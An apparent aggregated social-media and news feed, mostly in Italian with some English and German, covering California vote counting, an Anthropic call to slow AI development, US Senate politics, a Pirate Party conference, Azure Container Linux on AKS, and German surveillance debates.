La California non è nemmeno lo stato con la più alta percentuale di voto per posta, né quello con la scadenza più tardiva per la ricezione delle schede. Stati come Oregon, Washington e Colorado, che pure votano in larga misura per posta, sono tutti più veloci della California. Il Colorado, per esempio, limita le schede tardive a circostanze eccezionali come il personale militare all'estero. Potrebbe sembrare poco inclusivo, eppure la quota di schede californiane respinte per ritardo è rimasta identica, lo 0,5 per cento, sia prima sia dopo l'introduzione del periodo di grazia di una settimana.

La California se la cava male anche sulla qualità dell'amministrazione elettorale. Non esiste alcuna prova che le frodi o altri problemi amministrativi siano meno diffusi in California che negli stati più rapidi. Secondo l'Elections Performance Index del MIT, che misura la qualità dell'amministrazione elettorale stato per stato, la California nel 2024 si è classificata 41esima. Non è più lenta e migliore: è più lenta e spesso peggiore.

L'argomento di riserva è che la velocità non conta e che solo gli appassionati di elezioni e i complottisti si preoccupano delle settimane di scrutinio californiane. È vero solo in parte. I ritardi alimentano le teorie del complotto sulle frodi elettorali. Il presidente Trump ha scritto su Truth Social che i brogli stanno riempiendo le urne in California, aggiungendo che "le stesse bugie di sempre vengono usate da anni". In un raro momento bipartisan, il governatore Gavin Newsom è d'accordo sul problema e ha scritto in una lettera ai funzionari elettorali che "dobbiamo riconoscere che più a lungo dura il conteggio, più disinformazione circola".

In questo momento nel sesto distretto della California il candidato democratico è al terzo posto, ma solo perché è stato scrutinato appena il 53 per cento delle schede e i democratici tendono a restituire il voto postale più tardi. È un'illusione statistica difficile da spiegare a chi non segue ossessivamente le dinamiche elettorali.

La California ha fatto qualche piccolo passo avanti: le contee ora devono completare lo scrutinio della maggior parte delle schede entro 13 giorni invece che 30. Non è abbastanza. Gli uffici elettorali sono sottofinanziati e lo stato conta le schede che ha già ricevuto troppo lentamente. Se si vuole che i cittadini abbiano fiducia nel sistema elettorale, il primo passo è costruirne uno che funzioni.

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Anthropic apre all'ipotesi di rallentare lo sviluppo dell'IA


L'azienda che ha creato Claude avverte che i sistemi di IA si stanno avvicinando alla capacità di migliorarsi da soli. Ma una pausa, affermano, avrebbe senso solo con un sistema globale di verifica.

Anthropic, l'azienda che ha creato il modello di intelligenza artificiale Claude, ha pubblicato un articolo in cui sostiene che sarebbe "un bene per il mondo" poter rallentare, o sospendere temporaneamente, lo sviluppo dei modelli di IA più avanzati. Il testo, cofirmato dal cofondatore Jack Clark e da Marina Favaro, parte da una constatazione: i sistemi di intelligenza artificiale si stanno avvicinando all'auto-miglioramento ricorsivo, cioè alla capacità di progettare e costruire da soli i propri successori, senza intervento umano diretto.

Quel traguardo, precisa Anthropic, non è ancora stato raggiunto e non è inevitabile. Potrebbe però arrivare prima che governi, istituzioni e sistemi di controllo siano pronti a questo. L'azienda ammette di non sapere come sarebbe un mondo in cui l'IA riesce a migliorarsi autonomamente. Sa però che, in uno scenario simile, il rischio di perderne il controllo aumenterebbe in modo significativo.

Il codice scritto da Claude e il salto di produttività


Anthropic cita anche dati interni finora non pubblicati. A maggio 2026 oltre l'80% del codice dell'azienda era scritto da Claude, rispetto a percentuali minime all'inizio del 2025. Ogni ingegnere produce in media otto volte più codice rispetto al 2024, perché oggi dirige e revisiona il lavoro della macchina invece di scriverlo interamente.

Anche la durata dei compiti che i modelli IA riescono a completare da soli sta crescendo rapidamente: secondo Anthropic raddoppia all'incirca ogni quattro mesi. Se questa tendenza dovesse proseguire, nel 2027 i sistemi di IA potrebbero svolgere in autonomia lavori che a una persona richiederebbero settimane.

Il punto centrale dell'appello, però, non riguarda solo la velocità dello sviluppo, ma il modo in cui un eventuale rallentamento potrebbe funzionare. Una pausa unilaterale decisa da una singola azienda, scrive Anthropic, sarebbe tecnicamente possibile già oggi, ma servirebbe a poco: cambierebbe soltanto chi guida la corsa. E se il rallentamento consentisse agli attori meno prudenti di recuperare terreno, il risultato sarebbe un sistema complessivamente meno sicuro.

Il problema della verifica globale


Per funzionare davvero, dunque, una sospensione dovrebbe coinvolgere più laboratori di frontiera, in più Paesi e alle stesse condizioni. Ciascuno dovrebbe poter verificare che gli altri si siano effettivamente fermati. Il problema è che un grande addestramento di IA è molto più facile da nascondere di un sito missilistico, mentre l'incentivo a barare sarebbe enorme: chi continuasse a sviluppare modelli mentre gli altri si fermano potrebbe conquistare un vantaggio decisivo nella corsa all'IA.

L'articolo richiama un precedente storico: il mondo ha già costruito regimi di verifica per tecnologie complesse, come il Trattato INF sui missili a corto e medio raggio. Ma quei sistemi hanno richiesto decenni per creare infrastrutture, procedure e fiducia reciproca. "Non abbiamo tutto quel tempo", si legge nel testo.

Anthropic delinea quindi tre scenari. Nel primo la tendenza si arresta, ipotesi che l'azienda considera improbabile. Nel secondo, ritenuto il più verosimile, lo sviluppo dell'IA diventa in gran parte automatizzato, ma gli esseri umani continuano a decidere la direzione strategica. Nel terzo, i sistemi raggiungono il pieno auto-miglioramento ricorsivo e iniziano a costruire i propri successori: un mondo che la stessa azienda dichiara di non saper prevedere.

L'impegno di Anthropic e la corsa verso la Borsa


Per questo l'Anthropic Institute, che ha firmato il testo, annuncia che lavorerà ai sistemi di verifica necessari a rendere credibile una pausa e organizzerà nei prossimi mesi un confronto con governi, ricercatori, società civile e altre aziende del settore. Anthropic aggiunge anche un impegno preciso: se questi sistemi esistessero, sarebbe pronta a rallentare o sospendere lo sviluppo, a condizione che anche le altre aziende lo facessero in modo verificabile.

L'appello arriva in un momento particolare per l'azienda. Fondata cinque anni fa da un gruppo di ex dipendenti di OpenAI guidati da Dario Amodei, Anthropic ha avuto grande successo nel 2026 con i suoi strumenti di programmazione Claude Code. La sua valutazione ha superato di recente quella della rivale OpenAI, creatrice di ChatGPT, raggiungendo i 965 miliardi di dollari, e il 1° giugno l'azienda ha avviato l'iter per la sua quotazione in Borsa.

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La ex fidanzata di Platner si rivolta contro il New York Times: "Era una trappola"


Lyndsey Fifield, la principale accusatrice del candidato democratico in Maine, dice di essere stata manipolata dal quotidiano che ha trasformato la sua storia in "un regalo alla campagna di Platner"

Lyndsey Fifield, la donna la cui testimonianza era il cuore dell'inchiesta del New York Times su Graham Platner, accusa ora il quotidiano di averla manipolata e di aver trasformato la sua storia in "un regalo alla campagna" del candidato democratico al Senato per il Maine.

Fifield, 40 anni, attivista conservatrice della Virginia, aveva raccontato al New York Times di aver subito intimidazioni fisiche durante la relazione con Platner tra il 2013 e il 2015. La sua era la testimonianza più dettagliata tra quelle raccolte dal quotidiano, che giovedì 4 giugno ha pubblicato un'inchiesta basata su interviste con oltre venticinque persone, tra cui sei ex fidanzate del candidato. Altre tre ex fidanzate contattate dal giornale avevano invece descritto Platner come un compagno gentile e premuroso.

A poche ore dalla pubblicazione Fifield ha rotto il silenzio con una serie di post sui social, ripresi da The Hill, in cui accusa i giornalisti del Times di aver tradito la sua fiducia. "Ho ignorato i consigli di tutti i miei amici, messo da parte i miei pregiudizi da conservatrice, e ho deciso di fidarmi completamente dei giornalisti del Times", ha scritto. "Quando hanno lasciato casa mia mi hanno chiesto di non parlare con altre testate e io ho insistito più volte nelle settimane successive che avrei mantenuto la parola data".

Dopo aver letto l'articolo, intitolato "Diverse donne che hanno frequentato Graham Platner ricordano comportamenti inquietanti", Fifield ha raccontato di aver chiesto spiegazioni ai giornalisti: "Dove sono le storie delle altre donne? Dove sono le loro accuse di violenza sessuale? Perché sono io al centro dell'articolo? Perché ci sono undici paragrafi dedicati alla mia carriera, più di quanti ne siano mai stati pubblicati su quella di Graham?". Secondo il suo racconto i redattori le avrebbero risposto che il materiale era "troppo". Fifield sostiene inoltre che il Times ha omesso di scrivere che lei aveva confidato ad amici, anni prima che Platner si candidasse, di aver subito abusi nella relazione: quegli amici, dice, lo hanno confermato ai giornalisti.

"Ho capito che era davvero una trappola fin dall'inizio", ha scritto Fifield. "I giornalisti di cui mi fidavo, che mi avevano convinto a condividere una storia che non avrei mai voluto raccontare, hanno ritardato e distorto tutto in modo metodico per trasformarlo in un regalo alla campagna di Platner. Hanno violato la fiducia delle sue vittime. Hanno distrutto la fiducia che avevo riposto in loro con la storia più vulnerabile della mia vita".

L'inchiesta del New York Times è l'ultima di una serie di rivelazioni che hanno colpito Platner, 41 anni, ostricoltore ed ex marine in corsa per il seggio al Senato del Maine della repubblicana Susan Collins. I democratici considerano quel seggio decisivo per riconquistare la maggioranza al Senato. A fine maggio il Wall Street Journal e il New York Times avevano rivelato che Platner aveva scambiato messaggi a sfondo sessuale con altre donne dopo il matrimonio del 2023. In autunno era emerso anche un tatuaggio che riproduceva un simbolo delle SS naziste, che il candidato dice di aver fatto senza conoscerne il significato e che ha poi coperto.

La campagna di Platner descrive Fifield come "un'operativa repubblicana di lungo corso che ha dedicato la sua carriera a far eleggere repubblicani". In passato ha lavorato per la Heritage Foundation e per la campagna presidenziale di Nikki Haley nel 2024. Lei nega di aver agito per ragioni politiche e, secondo il New York Times, non risultano legami con la campagna di Collins.

Il New York Times non ha risposto immediatamente a una richiesta di commento. Platner, che respinge la descrizione che il quotidiano fa dei suoi comportamenti, ha dichiarato giovedì sera durante un'apparizione su MS Now di non aver mai pensato di ritirarsi dalla corsa. "Tutto ciò che sostiene contatto fisico, tutto ciò che sostiene che sapessi cosa fosse il mio tatuaggio, sono dichiarazioni di qualcuno politicamente motivato", ha detto.

Lo scontro sul metodo giornalistico del Times arriva a tre giorni dalle primarie democratiche del Maine, fissate per il 9 giugno. Per i democratici ogni giornata spesa a discutere della credibilità delle accuse e delle controaccuse è una giornata sottratta alla campagna contro la senatrice Collins, in carica da quasi trent'anni e data in svantaggio nei sondaggi ma ancora competitiva.

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Il debito pubblico non è un male in sé. Il punto è come lo usi: se serve a finanziare diritti, servizi e redistribuzione, può ridurre le disuguaglianze. Se invece scarica i costi sui più fragili e protegge rendite e privilegi, diventa ingiustizia.

Francesca Romana D’Antuono, copresidente di Volt Europa, lo spiega qui.

#DebitoPubblico #GiustiziaSociale #Redistribuzione #Disuguaglianze #Welfare #EuropaFederale #Volt #VoltItalia #VoltEuropa

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20 Years a Pirate! It’s the 2026 Pirate National Conference


June 6

It’s official!

The United States Pirate Party has turned 20! That’s 20 years, or 7,305 days, or 175,320 hours.

But none of that is as catchy as “20 Years a Pirate!”

Speaking of “20 Years a Pirate,” we have purposefully timed out our 2026 Pirate National Conference to take place today (and tomorrow) in celebration of this milestone.

The 2026 Pirate National Conference: Piratey McPirateface, of the House of Supreme, Heir to the Crown of the United States of America, Held By His Father Vermin Supreme, and Sole Heir to the Kingdom of Libertalia, By the Grace of God, King of Castile, of León, of Aragon, of the Two Sicilies, of Jerusalem, of Dalmatia, of Croatia, of Navarre, of Granada, of Toledo, of Valencia, of Galicia, of Mallorca, of Seville, of Sardinia, of Córdoba, of Corsica, of Murcia, of Jaén, of the Algarves, of Algeciras, of the Canary Islands, of the East and West Indies, of the Islands and Mainland of the Ocean Sea; Archduke of Austria; Duke of Burgundy, of Brabant, of Milan, of Athens and Neopatria; Count of Habsburg, of Flanders, of Tyrol, of Barcelona, of Roussillon, and of Cerdanya; Marquess of Oristano and Count of Goceano, Duke of Sealand, Mayor of Des Moines, Mr. Florida 1999, Reborn, Runs for Something to Spill This Tea and Hoist the Colours Over the Stolen Pirate National Conference of 2024, aka Hoist the Colours and Spill the Tea

20 Years a Pirate!

We will be livestreaming the conference, and providing links for all who are looking to join in. This year, as we do every conference, is a hybrid affair, meaning you can attend in-person or over Jitsi.

If you happen to be attending in person, then you’d get to enjoy spending the conference in a city whose very history revolves around the fight against tyranny: Boston, Massachusetts.

Here’s the itinerary for Saturday:

  • 10-10:30am: Gather outside the USS Constitution
  • 10:30-11am: Kick off speech outside the USS Constitution
  • 11am-noon: Visit the USS Constitution
  • noon-1:45pm: Lunch, The Anchor, 1 Shipyard Park, Charlestown
  • 2pm-6pm: Talks, Minehan Meeting Room, Residence Inn by Marriott Boston Harbor on Tudor Wharf, 34-44 Charles River Ave, Boston

The actual 2pm-6pm portion will be broken down as such:

  • 1:30pm-2:15pm: Set up
  • 2:15pm-2:45pm: U.S. Pirate Party Captain “Jolly” Mitch Davilo discusses his experiences in the Pirate Party, what the party means to him and where will Pirates will be in 20 years
  • 2:45pm-3:30pm: Hunter Rand shares what he has learned from his city council race
  • 3:30pm-3:45pm: 15 Minute Break
  • 3:45pm-4:15pm: Rose Klein discusses systems of pirate and anarchist organization and what we can learn from history
  • 4:15pm-5:15pm: Election of National Party officers
  • 5:15pm-5:35pm: Joe Onoroski discusses his 2024 campaign for state representative**
  • 5:35pm-5:45pm: James O’Keefe gives some tips on protecting your privacy**
  • 5:45pm-6:00pm: Tear down

**Will be skipped if Election of National Party officers goes over time

For Sunday, those attending in-person have three options:

  • Walk the Freedom Trail mapping surveillance cameras
  • Duckboat tour near the New England Aquarium
  • Park clean up at Paul Revere Park plus New England Free Jacks Rugby game

Lunch, noon-2pm, Legal Sea Foods – Long Wharf, 255 State St, Boston for all options. Rugby attendees will need to leave early as the game begins at 2pm

If you have any questions, look back to our page on the conference.

It’s 20 Years a Pirate! We celebrate today with our yearly conference and look forward to the next 20 years.

A very special thanks to Jamie O’Keefe, Joseph Onoroski, and every single member of the Massachusetts Pirate Party for, without whom, none of this would be possible. Not just this conference, but making it 20 years in general. You all are the reason we survived, and I couldn’t think of a more perfect setting than Boston to honor that.

You only turn 20 once, so come celebrate the United States Pirate Party’s 20th year at our 2026 Pirate National Conference.

Who knows, maybe you’ll want to come back next year for our 21st anniversary conference in 2027. I heard rumors it might be a southern affair, but who’s to say…


uspirates.org/20-years-a-pirat…

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Trump vuole ridurre il sistema di intelligence americano


Trump incarica il nuovo capo ad interim di licenziare dipendenti dell'intelligence e vuole rendere l'ODNI "molto più piccolo", forse cancellarlo. La nomina di Pulte complica il rinnovo del FISA.

Il presidente Trump vuole ridurre drasticamente l'apparato di intelligence americano. In un'intervista esclusiva rilasciata venerdì al Wall Street Journal, Trump ha dichiarato di aver chiesto a Bill Pulte, il nuovo direttore ad interim dell'intelligence nazionale, di avviare licenziamenti su larga scala, definendo l'Ufficio del direttore dell'intelligence nazionale "inutile e troppo grande".

"Vorrei vederlo più piccolo. Credo che ci siano molte persone lì dentro che non dovrebbero esserci", ha detto il presidente, riferendosi ai funzionari rimasti dalle amministrazioni Biden e Obama. Alla domanda se intenda chiedere a Pulte di licenziare dipendenti, Trump ha risposto che vuole "avviare il processo", aggiungendo che il futuro candidato permanente dovrà proseguire quel lavoro.

L'ODNI coordina 18 agenzie e unità di intelligence federali e gestisce un bilancio annuale di circa 100 miliardi di dollari. La sua direttrice uscente, Tulsi Gabbard, ha già ridotto il personale dell'agenzia di quasi il 50 per cento.

Trump ha indicato il Dipartimento dell'Istruzione come modello. La segretaria Linda McMahon ha ridotto le dimensioni del dipartimento, che il presidente ha detto di voler eliminare, e ha trasferito alcune funzioni ad altre agenzie. "Abbiamo reso il Dipartimento dell'Istruzione molto più piccolo, e allo stesso modo questo dovrebbe essere molto più piccolo", ha detto Trump. "E questo forse potrebbe persino essere chiuso, e prenderemo quella decisione".

Pulte è stato nominato all'inizio della settimana, con una mossa che ha sorpreso anche molti consiglieri del presidente. Ricoprirà l'incarico su base temporanea, un ruolo che non richiede la conferma del Senato e che può durare al massimo 210 giorni. Secondo Trump, proprio questa provvisorietà è un vantaggio: "Sei meno incatenato", ha detto. "In un certo senso ti dà più potere, anche se per un periodo limitato". Il presidente spera che Pulte possa avviare i cambiamenti prima che venga confermato un direttore permanente. "Francamente, potrebbe essere positivo che lui dia una scossa prima che arrivino altri", ha aggiunto.

La nomina ha già avuto ripercussioni al Congresso. Venerdì mattina il Senato non è riuscito a far passare un voto per rinnovare la Sezione 702 del Foreign Intelligence Surveillance Act, un programma di sorveglianza in scadenza nei prossimi giorni: alcuni senatori hanno citato preoccupazioni legate proprio a Pulte. Democratici e una parte dei repubblicani temono che Pulte, uno stretto alleato di Trump, userà la sua posizione per colpire i nemici politici del presidente e politicizzare l'agenzia. "Non abbiamo bisogno di un DNI usato come arma", ha detto ai giornalisti il leader della maggioranza al Senato John Thune, repubblicano del South Dakota.

Trump ha detto di essere in fase di colloquio con i candidati per il ruolo permanente. Venerdì ha incontrato due persone, "una dal mondo degli affari e una dal mondo della politica", senza rivelare i nomi. Parlando in seguito dall'Air Force One, il presidente ha precisato di aver condotto cinque colloqui e che Pulte resterà in carica il tempo necessario per ottenere la conferma del Senato per il successore.

Pulte si è guadagnato la fiducia del presidente con un approccio aggressivo nel suo precedente ruolo di capo dell'agenzia federale per il finanziamento immobiliare. Soprannominato "Little Trump", ha accusato diversi avversari politici del presidente di frode ipotecaria, tra cui il deputato democratico Adam Schiff della California, la procuratrice generale di New York Letitia James e Lisa Cook, membro del consiglio dei governatori della Federal Reserve. Nessuno di loro è stato incriminato e tutti hanno negato gli addebiti. Trump ha citato le accuse di Pulte contro Cook quando l'anno scorso l'ha rimossa dal ruolo di governatrice della Fed: il ricorso legale di Cook è ora pendente davanti alla Corte Suprema.

Pulte ha anche sostenuto la campagna di Trump contro l'allora presidente della Fed Jerome Powell, chiedendone la rimozione sui social media e preparando una lettera per licenziarlo. Alcuni all'interno dell'amministrazione si sono a volte irritati con Pulte per aver scavalcato la catena di comando per avere accesso diretto al presidente.

Trump ha anche chiesto a Pulte di rendere pubblici più documenti riservati, in particolare quelli legati alle elezioni del 2020. Alla domanda su quali documenti Pulte dovrebbe considerare di diffondere, Trump ha risposto: "Direi tutto, dovrebbe guardare tutto e decidere".

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Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes
#tech
spcnet.it/azure-container-linu…
@informatica


Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes


A Microsoft Build 2026, Microsoft ha annunciato la disponibilità generale di Azure Container Linux (ACL), un sistema operativo immutabile e hardened progettato specificamente per i nodi di Azure Kubernetes Service (AKS). Contemporaneamente, è entrata in public preview Azure Linux 4.0, la prima distribuzione Linux server di Microsoft per ambienti cloud enterprise. Si tratta di un cambio di paradigma significativo nella gestione dell’infrastruttura Kubernetes: addio al configuration drift, benvenuta riproducibilità totale.

Perché un OS dedicato per Kubernetes?


Chiunque gestisca cluster Kubernetes in produzione conosce bene i problemi legati alla deriva della configurazione (configuration drift). I nodi Linux tradizionali — anche se avviati da un’immagine controllata — tendono ad accumulare modifiche nel tempo: aggiornamenti in-place, file di configurazione modificati manualmente, pacchetti installati per debugging, variazioni tra ambienti diversi. Il risultato è che due nodi teoricamente identici si comportano in modo differente, rendendo debugging e ripristino molto più complessi.

L’altro fronte critico è la superficie di attacco: un OS generalista porta con sé decine di pacchetti, servizi e porte che non hanno alcuna ragione di esistere su un nodo Kubernetes. Ogni componente non necessario è un potenziale vettore di compromissione.

Azure Container Linux nasce esattamente per risolvere entrambi i problemi.

Caratteristiche tecniche di Azure Container Linux

Sistema operativo immutabile basato su Flatcar


ACL è costruito a valle di Flatcar Container Linux, la distribuzione già nota per la sua architettura immutabile e orientata ai container. L’adozione di Flatcar come base garantisce compatibilità con l’ecosistema esistente e un design maturo e collaudato. Su ACL, il filesystem di sistema è montato in sola lettura: nessun processo, nemmeno con privilegi di root, può modificare il sistema operativo a runtime. Questo elimina alla radice la possibilità di configuration drift e rende ogni nodo perfettamente riproducibile.

Integrity Policy Enforcement (IPE)


Una delle innovazioni più rilevanti di ACL è l’integrazione del Linux Security Module IPE (Integrity Policy Enforcement). IPE verifica che solo i binari provenienti da volumi firmati e trusted possano essere eseguiti. Questo controllo si estende anche alle immagini container: grazie all’integrazione con dm-verity — il meccanismo di verifica crittografica a livello di blocco del kernel Linux — ogni layer dell’immagine container viene verificato rispetto a una firma digitale prima che qualsiasi binario al suo interno possa essere eseguito.

In pratica, anche se un attaccante riuscisse a inserire codice malevolo in un layer container o nel filesystem del nodo, IPE bloccherebbe l’esecuzione di qualsiasi binario non autorizzato. È un approccio defense-in-depth particolarmente efficace contro attacchi supply chain e compromissioni post-deployment.

Aggiornamenti tramite node image upgrade


Su un OS immutabile, gli aggiornamenti non avvengono con package manager tradizionali come apt o dnf. ACL si aggiorna esclusivamente tramite il meccanismo di node image upgrade di AKS: il nodo viene sostituito con una nuova immagine aggiornata, garantendo che lo stato di partenza sia sempre pulito e noto. Questo approccio elimina i problemi tipici degli aggiornamenti in-place e semplifica enormemente la gestione del ciclo di vita dei nodi.

Azure Linux 4.0: la distribuzione server di Microsoft


Parallelamente ad ACL, Microsoft ha annunciato la public preview di Azure Linux 4.0, una distribuzione Linux server progettata per ambienti Azure cloud su larga scala. Mentre ACL è ottimizzato per i nodi Kubernetes, Azure Linux 4.0 è pensato come base per workload generici su macchine virtuali Azure. Entrambe le distribuzioni condividono il core di Azure Linux, che fornisce coerenza e compatibilità con l’ecosistema Azure.

Come usare Azure Container Linux su AKS


ACL è disponibile come opzione di sistema operativo per i node pool di AKS. Per creare un cluster o un node pool con ACL, è sufficiente specificare AzureContainerLinux come OS SKU:

# Creare un nuovo cluster AKS con Azure Container Linux
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-os-upgrade-channel NodeImage \
  --os-sku AzureContainerLinux \
  --generate-ssh-keys

# Aggiungere un node pool con ACL a un cluster esistente
az aks nodepool add \
  --resource-group myResourceGroup \
  --cluster-name myAKSCluster \
  --name acnodepool \
  --os-sku AzureContainerLinux

Il parametro --node-os-upgrade-channel NodeImage è consigliato per sfruttare appieno il modello di aggiornamento immutabile: AKS si occuperà automaticamente di sostituire i nodi con le versioni aggiornate dell’immagine OS.

Kubernetes 1.35 e Fleet Manager cross-cluster networking


Insieme all’annuncio di ACL, Microsoft Build 2026 ha portato altre novità rilevanti per AKS:

  • Kubernetes 1.35 GA: la versione 1.35 è ora disponibile a livello generale su AKS e in fase di rollout in tutte le region.
  • Azure Kubernetes Fleet Manager per cluster Arc-enabled (GA): gestione di flotte che includono cluster on-premises abilitati ad Azure Arc, con update, policy e placement da un singolo piano di controllo.
  • Cross-cluster networking (preview): networking cross-cluster per Fleet Manager basato su Cilium gestito, con service discovery, policy enforcement e observability tramite eBPF.


Conclusione


Azure Container Linux è una risposta concreta ai problemi di sicurezza e riproducibilità dell’infrastruttura Kubernetes tradizionale. L’approccio immutabile, l’enforcement crittografico dei binari tramite IPE e dm-verity, e l’integrazione nativa con il ciclo di vita AKS lo rendono una scelta solida per chi gestisce workload critici in ambienti con requisiti di compliance (PCI-DSS, HIPAA, ISO 27001). Microsoft Build 2026 segna un momento importante per l’ecosistema AKS, con novità che coprono sicurezza OS, gestione multi-cluster e networking avanzato.

Fonte: Introducing Azure Container Linux (ACL) — Microsoft Community Hub | What’s new in AKS at Microsoft Build 2026


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Ich liebe den Podcast - finde: super Inhalte, kann gut zuhören und verstehen.
Und die Musik erinnert mich mega an Drei Fragezeichen.


Na, darfst du denn schon auf TikTok? Alle reden über Social-Media-Verbote für Jugendliche. Wir reden lieber über die Alterskontrollen, die zwingend notwendig wären, um solche Verbote durchzusetzen.

Warum würden sie das Internet umkrempeln und warum läuft die Debatte jetzt so heiß? Die neuste Podcast-Folge Off/On mit @ckoever, @roofjoke und @sebmeineck.

netzpolitik.org/podcast/na-dar…


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Lesetipp fürs Wochenende: In Sachsen verschärfen BSW, CDU und SPD diesen Monat das Polizeigesetz #SächsPVDG. Darauf haben sich die Fraktionen diese Woche geeinigt. Für @netzpolitik_feed habe ich aufgeschrieben, welche neuen Überwachungsbefungisse jetzt kommen bzw. ausgeweitet werden, was in den Verhandlungen abgeschwächt wurde und warum im Landtag jede Stimme zählt.

netzpolitik.org/2026/smartphon…

in reply to Leonhard Pitz

Update: Wir haben nun den gemeinsamen Änderungsantrag von BSW, CDU und SPD veröffentlicht. Jetzt kann jede:r selbst sehen, welche Änderungen die drei Fraktionen am Gesetzentwurf der Staatsregierung planen #SächsPVDG

chaos.social/@netzpolitik_feed…

cdn.netzpolitik.org/wp-upload/…


Die Polizei in Sachsen soll Menschen umfangreicher überwachen dürfen als je zuvor. BSW, CDU und SPD einigen sich auf die vielfach kritisierte Novelle des Polizeirechts. Entschärft wurde wenig, Opposition und Zivilgesellschaft haben kaum noch Zeit.

netzpolitik.org/2026/smartphon…


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Il 4 giugno Zelenskyy ha proposto a Putin un incontro diretto e un cessate il fuoco durante i negoziati. Putin ha risposto ai soldati russi: “Lavorate, fratelli”, definendo la lettera “maleducata” e ribadendo gli obiettivi del Cremlino sull’Ucraina.

Non esistono due parti equivalenti: c’è chi ha invaso uno Stato sovrano e chi resiste.
Per parlare seriamente di pace bisogna partire da qui, e per questo Volt continuerà a sostenere l’Ucraina per tutto il tempo necessario.

#Ucraina #Russia #Putin #Zelenskyy #StopWar #EuropaFederale #Volt #VoltItalia #VoltEuropa

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Record al Senato: Susan Collins non ha mai saltato un voto in 29 anni


In carica dal 1997, Susan Collins è la prima a raggiungere 10.000 voti consecutivi al Senato. Il record arriva durante la campagna per il sesto mandato, con lo sfidante travolto da uno scandalo.

Sono circa mille le domeniche che Susan Collins ha passato a Washington invece che in famiglia per essere sicura di non perdere i voti del lunedì al Senato. "La maggior parte dei senatori torna il lunedì e perde molti voti. L'aereo ritarda, c'è un temporale, succede qualcosa e non arrivano. Io torno quasi sempre la domenica", ha raccontato in un'intervista al New York Times. Giovedì sera quella disciplina quasi ossessiva l'ha portata a un traguardo che nessun senatore aveva mai raggiunto prima: 10.000 voti consecutivi senza un'assenza in ventinove anni di mandato.

Collins, repubblicana del Maine eletta per la prima volta nel 1997, ha espresso il suo decimillesimo voto attraversando le linee di partito per sostenere un tentativo democratico, poi fallito, di rinviare in commissione il disegno di legge repubblicano sull'immigrazione. Il traguardo arriva in un momento politicamente utile: la senatrice è in piena campagna per il sesto mandato e il suo avversario democratico, Graham Platner, è alle prese con le ricadute di un'inchiesta del New York Times in cui alcune donne descrivono i suoi rapporti sentimentali passati come "tossici" ed emotivamente devastanti.

All'inizio della carriera, i colleghi più esperti le diedero un consiglio che può sembrare controintuitivo: saltare almeno un voto. "Senatori più navigati mi dicevano di togliermi subito la pressione, di non restare intrappolata in una striscia perfetta", ha ricordato. Collins non li ascoltò. Ventinove anni dopo, ancora non se la sente di mancare a un appello nominale.

Il momento in cui ha rischiato più seriamente di interrompere la serie risale al 2008, anno elettorale. Collins sentì voci che i democratici, allora maggioranza, volessero farle saltare un voto per toglierle un argomento da campagna. Mentre era in una seduta della commissione Sicurezza Interna in un edificio vicino, fu convocata una votazione a sorpresa. Insospettita, sussurrò al collega Joe Lieberman di non fidarsi di Harry Reid, l'allora leader della maggioranza democratica che controllava i tempi delle votazioni. Lieberman le disse di correre. Collins uscì di corsa con i tacchi alti, si storse una caviglia e arrivò in aula proprio mentre il presidente dichiarava chiusa la votazione, facendo in tempo a gridare "Aye!" per registrare il voto. In seguito scoprì di essersi scheggiata un osso nella corsa.

La determinazione ha radici lontane. Collins ha raccontato che a dieci anni, nella contea di Aroostook nel nord del Maine, gli scolari avevano tre settimane di vacanza in autunno per raccogliere patate per i contadini locali. Sua madre le ricordava l'impegno preso. "Era un lavoro durissimo, che spezzava la schiena. Mi ha insegnato molto sul lavorare sodo, mantenere gli impegni e presentarsi ogni giorno", ha detto.

Un altro modello fu Margaret Chase Smith, la senatrice del Maine che la precedette e che Collins considera il proprio idolo politico. Chase Smith espresse quasi 3.000 voti consecutivi in tredici anni prima che un intervento all'anca interrompesse la serie. Collins la superò nel novembre 2005, ma all'inizio non aveva pianificato un record perfetto. "Alla fine del primo Congresso non avevo saltato nessun voto, così lo comunicammo. La risposta degli elettori fu straordinaria, perché nel Maine la gente va a lavorare ogni giorno. C'è un'etica del lavoro molto forte".

La senatrice attribuisce parte del merito alla buona salute, anche se quando è stata malata di qualcosa di potenzialmente contagioso ha indossato una mascherina ed è entrata e uscita rapidamente dall'aula solo per votare.

Giovedì sera il traguardo è stato celebrato con elogi bipartisan. Il senatore John Barrasso del Wyoming, whip della maggioranza repubblicana, ha dichiarato in aula: "Per quasi trent'anni, niente, e dico niente, ha impedito alla senatrice Susan Collins di venire in quest'aula a votare per conto dei cittadini del Maine". Chuck Schumer, il leader della minoranza democratica che da anni lavora per strapparle il seggio, ha attraversato l'aula per stringerle la mano: "Apparteniamo a partiti diversi e non sempre siamo d'accordo, ma 10.000 voti consecutivi sono un risultato straordinario sotto ogni punto di vista".

Altri senatori hanno accumulato più voti in termini assoluti. Il repubblicano Chuck Grassley dell'Iowa, 92 anni, aveva una striscia interrotta solo dalla pandemia nel 2020. William Proxmire, ex senatore del Wisconsin, registrò più voti consecutivi tra il 1966 e il 1988, ma ne aveva saltati alcuni all'inizio della carriera. Collins non ne ha mai saltato nemmeno uno: è la prima a raggiungere quota 10.000 con zero assenze.

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Na, darfst du denn schon auf TikTok? Alle reden über Social-Media-Verbote für Jugendliche. Wir reden lieber über die Alterskontrollen, die zwingend notwendig wären, um solche Verbote durchzusetzen.

Warum würden sie das Internet umkrempeln und warum läuft die Debatte jetzt so heiß? Die neuste Podcast-Folge Off/On mit @ckoever, @roofjoke und @sebmeineck.

netzpolitik.org/podcast/na-dar…

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Die neuste Podcast-Folge Off/On ist fertig. @ckoever, @roofjoke und ich nehmen euch mit hinter die Kulissen unserer Arbeit zum Social-Media-Verbot und #Alterskontrollen.

🥜 Was ist eigentlich das Problem?
👺 Hat Big Tech es nicht verdient?
🤔 Und die Kinder?

Außerdem legen wir offen, welche kleine redaktionelle Aufgabe, wir alle drei immer wieder vergessen. 👉 👈

Viel Spaß beim Hören!

netzpolitik.org/podcast/na-dar…

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Diese Woche haben wir die Databroker-Debatte nach Deutschland geholt. Die Polizei in Mecklenburg-Vorpommern hat Handy-Standortdaten der Werbe-Industrie beschafft. Neun Länder wollen nicht beantworten, ob sie das auch tun.

In Bayern fordert die Opposition bereits Aufklärung. MdL Siekmann (Grüne): "Ein Einkauf solcher in der Regel rechtswidrig verkaufter Daten auf dem Graumarkt wäre ein Skandal."

